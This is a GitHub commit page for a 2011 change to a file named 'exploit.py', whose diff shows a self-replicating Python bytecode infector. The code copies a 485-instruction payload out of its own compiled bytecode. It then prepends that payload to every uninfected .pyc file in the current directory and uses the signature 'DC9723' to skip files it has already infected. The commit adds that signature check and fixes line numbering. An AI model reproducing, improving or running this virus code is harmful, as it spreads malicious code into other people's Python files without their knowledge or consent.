Skip to content

Commit

Permalink
Its working
Browse files Browse the repository at this point in the history
  • Loading branch information
jgeralnik committed Sep 22, 2011
1 parent c848d77 commit 6ce81f1
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 838 deletions.
12 changes: 8 additions & 4 deletions exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@

# Many thanks to Greg X for adding support for Python 2.6 and 2.7!

signature = "DC9723"
__version__ = '0.2'

__all__ = ['opmap', 'opname', 'opcodes',
Expand Down Expand Up @@ -802,18 +803,22 @@ def index(seq, item, eq=operator.eq, can_append=True):
head = f.read(8)
data = Code.from_code(marshal.loads(f.read()))
f.close()

exploit = data.code[:484]
EXPLOIT_SIZE = 485
exploit = data.code[:EXPLOIT_SIZE]

def infect(f_to_infect):
f = open(f_to_infect)
head = f.read(8)
data = Code.from_code(marshal.loads(f.read()))
if data.code[1][1] == signature:
return

print f_to_infect
f.close()
lines = []
for i, op in enumerate(data.code):
if op[0] == SetLineno:
data.code[i] = (SetLineno, op[2]+840)
data.code[i] = (SetLineno, op[1]+840)

data.code[:0] = exploit
#Check for errors
Expand All @@ -825,7 +830,6 @@ def infect(f_to_infect):
import glob
for i in glob.glob("./*pyc"):
if i!='./'+__file__:
print i
infect(i)

print "You have been exploited"
Loading

0 comments on commit 6ce81f1

Please sign in to comment.